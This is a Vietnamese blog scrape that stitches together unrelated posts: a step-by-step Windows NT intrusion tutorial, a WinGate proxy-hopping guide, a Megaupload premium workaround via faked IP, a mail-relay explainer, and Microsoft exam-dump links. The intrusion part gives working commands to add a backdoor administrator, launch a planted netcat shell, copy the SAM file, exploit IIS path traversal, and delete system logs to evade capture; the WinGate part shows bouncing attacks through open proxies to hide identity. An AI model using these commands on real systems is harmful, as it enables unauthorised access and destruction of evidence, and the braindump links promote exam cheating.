chúng ta cộng thệm một user mới là heibai và password lovechina

Net user heibai lovechina / add

nếu bạn thành công.thì có thể cộng user này vào nhom Adminstrator

Net Localgroup Adminstrator heibai / add

trong phần này tớ hướng dẫn tạo một ổ đỉa Ảo trên computer

Net use z: \\127.0.0.1\C$ ( hoặc là IPC$ )

Z là của mình…còn C$ là của Victim

Phần 2 : AT

thường thường thì khi độp nhập vào máy tính..chúng ta sẻ tặng quà lưu niệm cho victim trước khi rút lui,….vậy khi copy trojan lên máy rồi…làm thế nào dể khới động nó đây ?

chúng ta phải dùng đến lệnh AT thủ xem….

đầu tiên…chúng ta cần biết thời gian của đối phương

Net time \\127.0.0.1

bây giờ thì nó sế phản hồi thời gian của victim…vd : 12:0 ..
tiếp theo..chúng ta cần tạo một homework ID = 1

AT \\127.0.0.1 12:3 nc.exe

ở đây giả thiết là tui có con trojan la Nc.exe và đã được copy lên máy victim rồi

* giới thiệu chút it về NC…NC là từ viết tắc của NETCAT….nó là một telnet server với port 99

đợi đến 12:3 là nó sế tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99..thế là xong phần lưu bút

phần 3 : Telnet

đây là một lệnh rất cần thiết khi xâm nhập máy tính…nó có thể kết nối vớ máy tính khắc từ xa..nhưng thường thi phải có I D & PW..nhưng nếu máy đã Ăn Đạn rồi thì bạn chỉ cần connected đến port 99 là ok

Telnet 127.0.0.1 99

thế là bồ đã kết nối đến port 99 và có thể thực hiện tất cả các lệnh…

Phần 4 : Copy

bây giờ chúng ta nói tiêp…làm thế nào để copy files trên máy mình lên máy victim và làm ngược lại….nhưng bạn phải có kết nối IPC$ cái đã….

chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1

Copy Index.html \\127.0.0.1\C$\index.html

nếu bạn copy lên folder winNt

Copy index.html \\127.0.0.1\admin$\index.html

muốn copy files trên máy victm thì bạn gõ vào :

Copy \\127.0.0.1\Admin$\repair\sam._c:\

phần 5 : Set

nếu bạn muốn hack một website……tất nhiến là phải mở port 80..nếu không thì hack cho ai xem ?

đã tới lúc dùng lệnh Set rồi

sau đây là kết quả mà tớ tìm thấy……chúng ta phân tích nghe….chủ yếu là muốn biêt homepage nó ở đâu thủ….

COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST= DAY LA SO IP CUA TUI..NHUNG TUI DEL ROIHTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot DAY LA URL CUA HOMEPAGEᅩ CHI CAN NHIN SAU DONG PATH_TRANSLATED= LA BIET NO O DAU 。O DAY LA E:\vlroot PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT

đây là cách rất ngu..nhưng chỉ có cách này mới 100% biết đuợc homepage tên gì..ở dâu? khi cậu Dir ..chắc chắn là sế View được rất nhiều files đấy`…..

phần 6 : Nbtstat

nếu cậu Scan đuợc một máy sữ dụng Winnt…open port 135-139…thế thì bồ phải dùng lệnh này để biết thêm user thôi

* tiện thể xin nói luôn..đây là netbios….sau khi có user rồi bạn có thể đoán mò password..nếu không thi Cracking luôn đi

Nbtstat - A XXX.XXX.XXX.XXX

sau đây là kết quả tớ scan được…..

NetBIOS Remote Machine Name Table

Name Type Status
———————————————
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII…<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP

kết quả cho biết User là PENTIUMIII

phần 7 : Shutdown

nhìn lệnh thôi cũng đủ biết rồi phải không ? đây là lệnh shutdown server Winnt

Shutdown \\127.0.0.1 t:20

20 giây sau…Winnt sế tự khời động lại…….hi vọng các bạn suy nghỉ kỷ trước khi dùng lệnh này….vì nó sế làm tổn thất rất nặng cho victim…hãy làm tay hacker có đạo đức

phần 8 : Dir….

lệnh này khÿng có gì để nói hết..chỉ dùng để view thôi …………..

phần 9 : Del

lệnh này giống như xoá nhật kÿ vậy đó…..khi chúng ta xâm nhập máy tình…trên hệ thống sế lưu lại thông tin của chúng ta..vì thế..nên del nó đi…chư muốn bị tóm cổ hả ?

sau đây là những files nhật kÿ của Winnt

del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log

chỉ cần del hết là coi như xong

ngoài ra những lệnh trong ms dos còn rất nhiều….như lệnh ECHO …..FTP………ATTRIB……mà ở đây tui khÿng thể kể ra hết đươc

Wingate la gì, va nó liên quan gì tới server acttack?

WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia sẻ 1 modem với 2 máy.
WinGate dùng với nhiều proxy khách nhau có thể che giấu bạn.

2.> Mặc định sau khi cài đặt

Khi bạn cài WinGate bình thường, khÿng thay đổi thông số gì thì sế có một số mặc định:

Quote
Port | Service
23 Telnet Proxy Server - This is default and running right after install.
1080 SOCKS Server - This once setup via GateKeeper has no password until you set one.
6667 IRC Mapping - This once setup via GateKeeper has no password until you set one.

3. Port 23: Telnet Proxy

Proxy sế chạy ngay sau khi bạn hoàn thành cài đặt và làm mọi thứ trở nên tồi tệ nếu không có mật mã sau khi cài đặt và không đòi hỏi bạn là người duy nhất. Nhiều quản trị hệ thống không biết việc này và cũng khÿng nghĩ sế đặt mật mã cho nó và đây là nơi xuất hiện trục trặc.

Telnet proxy cũng thật sự đơn giản. Bạn telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sế có dấu nhắc WinGate> Tại dấu nhắc này bạn đánh vào server, một khoảng trống và cổng bạn muốn kết nối vào.

Thí dụ:
Quote
telnet wingate.net
Connected to wingate.net

WinGate> victim.com 23

Thí dụ này cho thấy một ai đang dùng telnet vào WinGate server và sau đó từ WinGate server đó telnet tới victim.com vì vậy trên log của victim.com sế hiện ra IP của wingate (wingate.net) và vì vậy có thể giữ IP của mình bí mật.

4. Port 1080: SOCKS Proxy

Socks proxy không được cài đặt mặc định nhưng ngay sau khi dùng GateKeeper sế cài đặt nó. Việc cài đặt này khÿng cần password, trừ khi bạn có đặt. Nếu bạn quen với socks bạn có thể biết nhiều việc có thể làm với nó.

5. Port 6667: IRC Proxy

IRC proxy cũng giống như khi chúng ta dùng wingate telnet proxy bounce tới irc server trừ khi irc proxy đã được thiết lập để đến một server. Nó khÿng được thiết lập để chạy sau khi cài đặt nhưng sau khi bạn cài sế khÿng cần password, trừ khi bạn có đặt.

6. Làm thế nào để tìm và sử dụng WinGate?

Tìm WinGates cũng rất dễ làm. Nếu bạn muốn tìm IP WinGates tĩnh (IP khÿng đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong nhà. Một cÿng ty cable modem lớn là Cox Cable. Trang web của họ có thể tìm thấy ở www.home.com. The Cox Cable có IP trong khoảng 24.1.X.X.
Bạn có thể dùng Port hay Domain scanners và scan Port 1080, tên gọi là SOCKS Proxy, đây cũng là một cách đơn giản để tìm WinGate.

Thí dụ:
24.1.67.1 chỉ đến c224084-a.frmt1.sfba.home.com mà tại đó chúng ta biết sfba = San Fransico Bay Area hay cái gì gần như vậy.
Đó là cách tìm IP WinGates tĩnh. Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates cũng khÿng khó chút nàol. Hầu hết tất cả ISP lớn và nhỏ đều có user dùng WinGate. Bạn cần phải biết định dạng của ISP’s dynamic ppp addresses hoặc bạn có thể dùng IRC (Internet Relay Chat). Giả sử bạn có ppp IP của armory-us832.javanet.com. Bây giờ bạn dns IP đó và có 209.94.151.143. Bây giờ lấy IP đó và đưa nó vào domain scanner program.

Thí dụ: Domscan có thể tìm thấy tại Rhino9 web site (rhino9.abyss.com). Ok, bây giờ bạn đã có domscan. Chạy domscan và có một box để đặt IP và port để scan. WinGate telnet proxy theo mặc định chạy trên cổng 23. Vì vật đặt 209.94.151.143 vào trong box đầu tiên trong domscan và 23 trong box thứ 2, sau đó click vào start. Ta có được kết quả:

209.94.151.2
209.94.151.4
209.94.151.6
209.94.151.10
209.94.151.8
209.94.151.73
209.94.151.118
209.94.151.132

Bây giờ kiểm tra từng cái để tìm WinGate prompt. Để làm vật ta intelnet tới 209.94.151.2 trên cổng 23 và nếu nó hiện WinGate> khi chúng ta kết nối thì nó là WinGate. Nếu khÿng chúng ta làm tiếp địa chỉ kế tiếp có thể là 209.94.151.4. Chúng ta làm như vậy cho đến hết danh sách IP.

Ghi chú: Nếu chúng ta scan dynamic IP WinGates nếu số cuối cùng của IP càng lớn thì hy vọng nó là IP của WinGate càng lớn. Thí dụ: Cơ hội 209.94.151.132 là WinGate lớn hơn 209.94.151.2.

Bài viết chỉ mang tính chất tham khảo

http://roseandgun.wordpress.com/2008/04/25/cac-l%e1%bb%87nh-c%c6%a1-b%e1%ba%a3n-d%e1%bb%83-xam-nh%e1%ba%adp-may-tinh/

Hướng dẫn tạo tài khoản Premium megaupload Trong giờ vàng !

Không phải giới thiệu nhiều về trang Megaupload.com, nó đã là trang quá nổi tiếng về việc chia sẻ file với dung lượng lớn, dĩ nhiên để sử dụng tối đa bạn phải bỏ tiền mua tài khoản Premium. Việc mua tài khoản này đối với những ngưòi đã có việc làm là dễ dàng, nhưng đối với dân sinh viên, học sinh, hoặc ai đó chưa đủ tiền để mua là một việc khá khó khăn.
Đã có nhiều cách để tải file tại megaupload với dung lượng lớn , tốc độ nhanh như rapidleech, fake Ip .v.v. Nhưng những cách này tỏ ra không hiệu quả cho lắm.
Cũng may trong thời gian này, trang megaupload có một đợt khuyễn mãi, mà ít nguời biết, đó là sử dụng tài khoản Premium trong Giờ vàng, Khung giờ vàng đối với Việt Nam là từ 9h sáng đến 4h chiều.
Bài sẽ hướng dẫn một cách chi tiết cách đăng kí tài khoản Premium tại Megaupload.com

Bước 1 : Đăng kí một tài khỏan free
- Bạn đăng kí tại link : http://www.megaupload.com/signup/
- Vào email đẻ kick hoạt tài khoản.

Bước 2 : Tải toolbar của megaupload
- Bạn tải toolbar tại link : http://www.megaupload.com/toolbar2.0/toolbar.exe ( dung lượng 1,145 mb ) bạn có thể dùng chương trình hỗ trợ download như : Internet download manager, Flashget .v..v để tải file nhanh hơn
- Sau khi tải xong, tiến hành cài đặt, reset lại trình duyệt web. Thanh toolbar của megaupload hiện lên trên trình duyệt web là bạn đã thành công bước 2.
Trên trình duyệt sẽ xuất hiện chữ

Bước 3 : Fake Ip
- Tôi đã thử với IP Việt Nam . Và thấy không đăng kí được.
- Bạn hãy fake IP sang một nước khác, US thì càng tốt, bạn có thể tìm proxy hoặc sock, prisock để fake IP trên google.

Bước 4 : Tiến hành đăng kí tài khỏan Rremium
- Bạn hãy hoàn thành các bước trên thì bươc cuối cùng này mới hiệu lực . Và đây là bước quan trọng nhất.
- Bạn vào trang web http://megaupload.com/ và đăng nhập với tài khoản free đã tạo ở bước 1
- Bạn reset lại trình duyệt, khi đó bạn sẽ thấy dòng chữ ” Happy Hour Premium “, bạn hãy kick vào đó.
Trên trình duyệt sẽ xuất hiện chữ

- Sau đó trang web đã hiện một thông báo tài khoản của bạn đã trở thành tài hoản Premium
Thông báo của megaupload.com
Trên trình duyệt sẽ xuất hiện chữ

- Bây giờ bạn hãy quay lại trang chủ và xem sự khác biệt với lúc đầu, bạn sẽ sử dụng đầy đủ chức năng như một tài khỏan Premium :mrgreen: Tài khỏan của bạn đã đầy đủ chức năng như một tài hoản Premium
Tài khỏan của bạn đã đầy đủ chức năng như một tài hoản Premium

Bước 5 : Download và thủ thuật, hỗ trợ
- Bây giờ bạn tiến hành download bình thường như một tài khỏan Premudium.
- Dĩ nhiên tài khoản này chỉ có trong thời gian từ 9h am đến 16h Việt Nam, mỗi lần bạn sử dụng trong một khoảng thời gian tối đa từ 1 tiếng đến 3 tiếng, do đó hãy tận dụng khoảng thời gian này để download. nên tổng hợp các link mega để download cùng lúc
- Bạn có thể dùng trang Rapidleech để tăng khả năng tải file từ megaupload.com. Nếu chưa có bạn hãy tìm kiếm trên google, hoặc tự tạo trên host và homeserver ( mình sẽ viết bài trong thời gian sớm nhất có thể ).
+ Ấn vào link cần download bình thường, nó sẽ hiện nút ” Click here to download ”
+ kick chuột phải vào Click here to download và chọn Copy Link, hoặc chọn xuống Properties copy đường link. Lấy link này gán vào trang Rapidleech ( trang rapidleech không cần đăng nhập tài khoản Premium).
Leech file về host

Chú ý :
- Bạn chỉ có thể sử dụng tài khoản này khi bạn sử dụng toolbar và trong khoảng thời gian từ 9h đến 16h, thời gian sử dụng từ 1 tiếng đến 3 tiếng.
- Mong bạn góp ý thêm cho bài viết.
- Nếu có khó khăn gì trong quá trình đăng kí tài khoản, fake ip, rapidleech. xin liên hệ tới nick : anhchimuonnoi_yeuem1987. Mình sẽ giúp đỡ bạn. Have Fun

Nguồn : phamdoan87.com

Tạo danh thiếp trực tuyến với DeyeY.com

Không ai có thể phủ nhận tầm quan trọng của tấm danh thiếp, nó đóng vai trò như một lý lịch trích ngang của bạn. Trong kinh doanh, trong công việc và trong giao tiếp hàng ngày, bạn sẽ cần nhiều đến những tấm danh thiếp. Để thiết kế và in cho mình những tấm danh thiếp thật đẹp, bạn có thể nhờ đến các dịch vụ chuyên làm danh thiếp. Nếu bạn muốn tự mình tạo ra những tấm danh thiếp, để thể hiện sự sáng tạo của bản thân nhưng đồng thời cũng không kém phần chuyên nghiệp, bạn có thể truy cập vào website www.deyey.com. Đây là một dịch vụ web miễn phí cho phép bạn tạo và lưu trữ những tấm danh thiếp đẹp mắt mà không phải thao tác gì nhiều cũng như đòi hỏi bạn phải thành thạo các chương trình đồ họa.

- Để tự làm danh thiếp trên www.deyey.com, trước tiên bạn phải đăng kí cho mình một tài khoản bằng cách nhấn vào thẻ Sign Up/Sign In trên trang chủ. Mỗi người dùng được cấp 100MB để lưu trữ và chia sẻ danh thiếp của mình, của bạn bè và đối tác.

- Quay lại trang chủ, nhấn nút Design Now để bắt đầu thiết kế tấm danh thiếp của bạn. Quá trình này chỉ qua bốn bước đơn giản, bạn chỉ việc chọn hoặc kéo thả: chọn ảnh nền, chèn Logo (Deyey.com cho phép bạn upload hình ảnh cá nhân hoặc Logo của công ty để đưa vào danh thiếp), thêm thông tin của bạn vào danh thiếp (Họ tên, tên công ty, địa chỉ, email, điện thoại, fax…), lưu lại và tải thành phẩm về máy. Danh thiếp do Deye.com tạo sẽ được xuất ra định dạng JPEG, bạn có thể tải về và dán lên website, blog. Nếu bạn có nhu cầu in ra thì nên chọn chất lượng và độ phân giải cao nhất (Large CMYK).

- Lưu ý, để gõ tiếng Việt trong lúc tạo danh thiếp, bạn phải chọn bảng mã là Vietnam locale CP 1258 và sử dụng các font chữ hỗ trợ tốt tiếng Việt như Arial, Times New Roman, Verdana.

- Cuối cùng, Mở máy in của bạn lên hoặc đem ra những dịch vụ in ấn.

P.S: Mình không thèm tạo danh thiếp đâu vì chả biết phải ghi cái quái gì lên đó.

Dương Vì Phát

LBVMVT số 250

clip_image004

clip_image006

1

Bắt đầu từ bài viết này, mỗi bài mới sẽ dành thêm một phần đất nhỏ để đăng tải những mẩu chuyện hoặc bức ảnh vui về IT để thay đổi không khí … Đây cũng là lời cảm ơn vì mọi người đã dành thời gian đọc qua bài viết … nhàm chán của mình.

Tiêu đề của bức ảnh là:
Your PassWord isn’t Long Enough

.*** Penis is … *** :p

26-04-2008

Mail & Relay

Bài viết sau mình diễn tả quá trình gửi mail đến được đích như thế nào.
Để mail đến được đích sẽ thông qua 2 bước sau:
B1 : Xác định một thứ gọi là MX Record của mail server đích ( nói cách khác là xác định dns name và IP của SMTP server của domain đích )
B2 : server nguồn kết nối với server đích trên port 25. Dùng SMTP command gửi thư.

* Chi tiết thực hiện
B1 : Xác định thông số MX record, IP và DNS name của server
Run – cmd - Lệnh nslookup
Set type=mx
Yahoo.com ( gõ Tên domain đích ở đây )
Kết quả của 2 lệnh trên chúng ta sẽ xác định được MX record, IP và Name server của domain đích.
B2 : chúng ta dùng command để gửi message đến server đích

- Các Lệnh dưới đây phải gõ chính xác tên và khoảng trống. Nếu gõ sai thì không được nhấn nút lùi rồi gõ lại. Gõ lại nó sẽ không thực thi. Gõ sai nhấn enter để kết thúc lệnh, sau đó gõ lại đúng lệnh đó.
Các lệnh sau là các lệnh telnet vì vậy phải mở chương trình telnet và port đi kèm để có thể thực hiện lệnh.
Telnet
Set localecho
Open destIP 25 (thiết lập kết nối đến server đích)
220 ( return code ) : 220 là mã xác nhận rằng ta đã kết nối thành công ( Nếu mã trả về khác 220 nghĩa là thất bại -> gõ lại lệnh trên đến khi nào kết nối. Nếu thử nhiều lần mà thất bại có nghĩa là port 25 đã bị khóa)
Helo têndomainđích
250 (giá trị trả về thành công : số khác là thất bại -> kết nối lại lệnh Helo này tiếp đến khi thành công)
Mail from:250 (code trả về)
Rcpt to: vd : cuti@microsoft.com
250
Data (lệnh này có nghĩa là chúng ta nói với server đích rằng chúng ta bắt đầu gõ nội dung của thử bao gồm thư gửi cho ai, từ ai gửi đến, chủ đề thư và nội dung bức thư)
354 (code trả về)
To : Tí (tí là tên người nhận thư)
From : Tèo (tèo là người gửi thư)
Subject : Thư của Teo gửi cho Ti

Đây là nội dung bức thư : Vd : E khỏe không cu. Trời nóng quá ra hồ con Rùa bơi đi.
.

250 (code trả về)
- Chú ý : Giữa subject và nội dung bức thử phải có một dòng trống. Nếu viết liền thì nó sẽ hiểu đó là subject của bức thư chứ không thuộc về nội dung của bức thư.
Dấu . cuối bức thư nói với server đích rằng : nội dung thư của tôi cần gửi đã kết thúc rồi. Không có sai xót gì thi hãy trả về cho tôi code 250 để báo cho tôi biết là thư gửi thành công.

- Trong các dòng lệnh trên có những thông tin đi kèm không đòi hỏi phải chính xác 100%. Ví dụ :
1: Nội dung bức thư ta có thể chế biến
2: địa chỉ email người gửi là mình ->mình có thể bịa ra cái domain giả thế nào chả được vì mục đích ở đây ta đang nói việc gửi mail chứ không nhận mail -> thông tin trên không quan trọng. Đây là lí do tại sao mà mạng nội bộ hay ngồi ngoài phòng net ta có thể gửi cho địa chỉ mail yahoo, gmail của mình. Yahoo mail sẽ kiểm tra Ipwan của bức thư. Nếu IP này không nằm trong blacklist nó sẽ cho vào bulk (điều này là hiển nhiên – IP động mà lị). Còn nếu nằm trong bộ lọc của nó hoặc trong blacklist nó sẽ drop bức thư.

- Với các bước trên là chúng ta có thể gửi thư được rồi. Nhưng không lẽ chúng ta bắt người dùng phải nhớ từng ấy thứ để gửi một bức thư. Cái họ cần là một công cụ tích hợp sẵn các lệnh trên, đi kèm là một giao diện sáng sủa và đẹp mắt để họ soạn thư và gửi dễ dàng chỉ bằng cách nhấn nút SEND. Công cụ đó chính là các trình duyệt mail (Outlookup Express, Microsoft Outlook …). Mình s/d OE để minh họa.
Bật OE :
+ Menu tool – account – tab mail – nút add – chọn mail
Display name : Tên này chúng ta có thể bịa tùy ý ví dụ : Teo – next

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600


Email address : địa chỉ email của người gửi (như đã nói ở trên bạn muốn gõ gì cũng được) Vd: cuteo@tenmienbia.com – next

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600


Hộp thoại Email server name xuất hiện 2 thành phần
Incoming mail và outgoing mail : 2 thành phần này có nghĩa gì ?
Trong 1 server mail vậy lý sẽ tồn tại 2 server luận lý :

1/ Incoming Mail Server (POP3, IMAP4, HTTP server):
- Nhiệm vụ là đối nộ : điều phối mail trong Lan. Các user khi mở trình duyệt mail thì trình duyệt mail này sẽ đi check mail trong incoming mail server . Nói cách khác là pop3 trục trặc bạn sẽ không check được mail. IMAP4, HTTP ít người dùng và Không được hỗ trợ bằng POP3 (s/d port 110 và 995)

2/ Outgoing Mail Server (SMTP )
- Nhiệm vụ là đối ngoại : Gửi và nhận mail với domain bên ngoài -> nếu SMTP (port:25) trục trặc thì bạn sẽ không thể nhận cũng như gửi thư ra domain bên ngoài

Incoming mail :Ở đây chúng ta không quan tâm đến việc nhận mail nên gõ IP gì cũng được. Nếu ở đây bạn khai báo một số IP bịa nào đó thì khi bạn bật OE lên thì OE lập tức đi tìm POP3 server (tức là IP bạn khai ở phần Incoming mail) để check mail. Khi bật OE lên chú ý góc dưới bên trái có từ connect - nhấp vào nó chọn stop vì đây là con số IP bịa nên nó không có hiệu lực, nó connect một hồi báo không tìm thấy -> phải cancel thôi)

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600


Outgoing Mail : gõ địa chỉ IP của yahoo.com 66.218.71.63 (đang giả định gửi cho yahoo)

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600


Để có IP của yahoo người dùng phải thực hiện như B1: phân giải để có IP, mx record, name server. -> Next

Hộp thoại internet mail logon :
Thông tin ở đây chính là thông tin cần check mail – next luôn – finish.

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600


- Nhấn nút create mail để gửi thư bằng giao diện đồ họa giống webmail.
- Hình bên dưới mô tả 2 bước thực hiện gửi mail đến dest server. Gửi trực tiếp từ User và Mail browser đến dest Server không thông qua trung gian.

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 1024x768


- User vẫn chưa vừa lòng với các bước hướng dẫn trên. Vì mỗi lần gửi đến 1 Dest Server khác thì User phải cấu hình lại 2 bước với IP khác trong Outgoing mail . Phức tạp quá. Họ muốn rằng chỉ phải nhớ 1 con số IP nào đó thôi (con số này phải cố định). Lúc này ta phải xậy dựng 1 chú SMTP server1 trung gian để mọi user gửi thư đến. Sau đó SMTP Server này sẽ chuyển thư của mọi user đến Dest server

Quá trình mà Mail Browser gửi thư đến SMTP Server 1 và nhờ gửi đi đến Dest Server gọi là RELAY (hay Relay mail)
Còn những server mà nhận và gửi mail dùm cho mọi user, dù user đó ở trong cùng domain hay ở ngoài domain, dù xa lạ hay quen biết thì Server đó được gọi là OPEN RELAY (có nghĩa là relay mọi thư gửi đến không cần biết đối tượng nhờ gửi là ai). Trạng thái Open Relay quá nguy hiểm. Vài năm trước đây có thể search ra được các server Open Relay. Còn hiện tại mọi mail server đều khóa tính năng này lại. Chỉ khi nào cần thử nghiệm vấn đề gì hoặc cho phép 1 số IP nhất định được phép relay qua server thì mới bật lên.
Trên diễn đàn X_boy và NN có cho mượn account relay trong vài ngày để test và vọc mail server. Không thương mại.
http://nhatnghe.com/forum/showthread.php?t=12556

Cấu hình relay trong OE :
Các bước giống như ở trên. Riêng phần Outgoing mail ta gõ IP của SMTP Server1.. Finish.

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600


Sau đó gửi mail ra yahoo.

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600


Bạn nhận thông báo lỗi : trong đám rừng đó có một từ khóa unable to relay for dangduya147@yahoo.com. Như đã nói ở trên mail server khóa chức năng open relay. Server mail đó nói rằng anh muốn relay mail qua tôi ư: ít ra anh phải chứng minh được anh có họ hàng bà con với tôi. Còn không ư : quên đi cưng.
Nói cho dễ hiểu thì là như vầy:
Bạn có cậu em tên Tèo. Lúc bé thì nó rất khờ, ai sai gì nó cũng làm. Bạn nhờ nó gửi dùm thư – OK gửi thì gửi. Anh hàng xóm thấy nó khờ quá nên lợi dụng sai nó làm đủ việc – Ok làm thì làm (Lúc này Cu Tèo đang ở tình trạng OPEN RELAY – ai sai nhờ gì nó cũng làm mà lị). Lớn lên nó bắt đầu khôn ra, anh hàng xóm nhờ nó làm – OK được thôi nhưng lúc này nó yêu cầu anh ta phải chứng minh rằng anh có quan hệ bà con với nó trước đã. Chứng mình bằng cách nào : nó bắt hàng xóm liệt kê ra một đống thông tin đại loại : anh phải sống chung nhà, phải có cùng họ …. Tất nhiên là anh ta kô thể chứng minh hoặc chứng minh không chính xác. Nó Drop cái yêu cầu của anh ngay lập tức. Đến phiên bạn nhờ nó. Nó giở chiêu cũ bắt bạn cung cấp thông tin ( đề phóng luôn với người nhà – quá chắc ăn. Tốt) -> thế là bạn khai với nó các thông tin

+ Khai báo thông tin họ hàng bà con với server trong OE:
Menu tool – account – tab mail – chọn account – chọn properties – tab general :bắt đầu khai báo đây.
1/ Sửa lại email address giống domain server
VD : của mình phải sửa lại là cuteo@dda147.com thay cho cuteo@tenmienbia.com (domain của mình là dda147.com)

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600


2/ Tab server : check vào My server require authentication

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600


– Chọn nút setting kế bên, khai báo tài khoản và pass tồn tại trong domain (tất nhiên ở chung nhà là phải có thông tin này).

Hình ảnh này đã được thay đổi kích thước. Click vào đây để xem hình ảnh gốc với kích thước là 800x600


Sau khi khai báo xong thông tin bạn quay lại OE bạn nhấn nút send all trong nút SendReceive . Thư đi ngon lành. Vậy là xong vụ relay qua SMTP server1.

+ Lúc này phát sinh thêm một tình huống mới.
Một ngày đẹp trời các user thông báo với bạn rằng sao mail của tôi không thể gửi cho yahoo. Chỉ sau vài phút thử nghiệm bạn thấy đúng là không thể gửi mail cho yahoo. Gửi thử mail cho gmail, hotmail … Bật công cụ theo dõi mail lên thì thấy mail gửi đi ngọt sớt, không gặp bất kì trục trặc nào (công ty mới mua IP tĩnh chơi lease line cực kỳ hoành tráng mà lị). Gọi điện cho mấy thằng bạn hỏi thăm tình hình thì tụi nó báo không có trục trặc gì cả. Sao chỉ có một mình mình dính chưởng. Thế là lên mạng lục tung các diễn đàn mới phát hiện ra vụ IP blacklist. Kiểm tra thì IP đang nằm trong sổ đen của các tổ chức spam -> hèn gì thằng yahoo nó chặn mail lại (thằng yahoo này có trong tay danh sách IP balcklist). Liên hệ với tổ chức này thì họ remove IP. Thở phào nhẹ nhóm vì user thông báo là họ gửi được rồi. Qua vài ngày sau đến lượt gmail drop mail user của bạn. Lên NN hỏi thăm đủ người thì được TonyHien cho biết : IP của vietnam toàn cùi bắp -> dễ dàng bị lọt vào tổ chức chống spam. TonyHien khuyên nên relay mail qua một SMTP server2 có uy tín (tốt nhất là của nước ngoài) để nó chuyển đi dùm cho (tất nhiên là tốn phí cho nó tùy số lượng mail Relay hàng tháng).

Với hình vẽ trên bạn đã cấu hình relay mail từ SMTP SERVER 1 (mail server công ty bạn) qua SMTP server 2 (nhờ nó relay mail dùm). Lúc này SMTP server 1 trở thành RELAYER (tức người chuyển tiếp relay mail). Còn SMTP server2 bây giời là SMART HOST (cung cấp tính năng relay mail cho những domain có nhu cầu). Khái niệm về Relay mail coi như giải quyết xong.

http://www.nhatnghe.com/forum/showthread.php?t=18914

Mail & Relay

23-04-2008

70-298 Materials To Score 1000

Passed 70-350 with 1000/1000, "ALHAMDULILLAH"

Materials:
I used ONLY Microsoft.TestKing.70-298.errata.by.sTf.vce
U can download from here: http://www.ziddu.com/download.php?uid=Zq...iYq6WlZWp2


Corrections:
1. South Bridge Video (9 questions). If you use Microsoft.TestKing.70-298.errata.by.sTf.vce, the Q1 about audit strategy, you must choose the D (Audit Logon Event ), not A ( Audit Account Logon).
The other Questions are correct

http://www.certcollection.co.cc/forum/-offer-70-298-Materials-To-Score-1000-t-734.html

http://www.certcollection.co.cc/forum/My-MCSE-Journey-t-772.html

70-350 Materials To Score 1000

Passed 70-350 with 1000/1000, "ALHAMDULILLAH"

I Used Only Pass4sure from following links:
P4S engine v.2.15: http://www.ziddu.com/download.php?uid=bq...pZqugmZus9
ePad Printable v.2.15: http://www.ziddu.com/download.php?uid=ZK...pXqugl5es1

Corrections:
Q75 the answer is B,D not only B.
Q99 Select IP half scan.

http://www.certcollection.co.cc/forum/-offer-70-350-Materials-To-Score-1000-t-733.html

70-294 Materials To Score 1000

I Passed 70-294 with 1000/1000, "ALHAMDULILLAH"

I Used Only the following:
GrandMaster's vce 294 : http://www.ziddu.com/download.php?uid=aK...aeZnZY%3D4
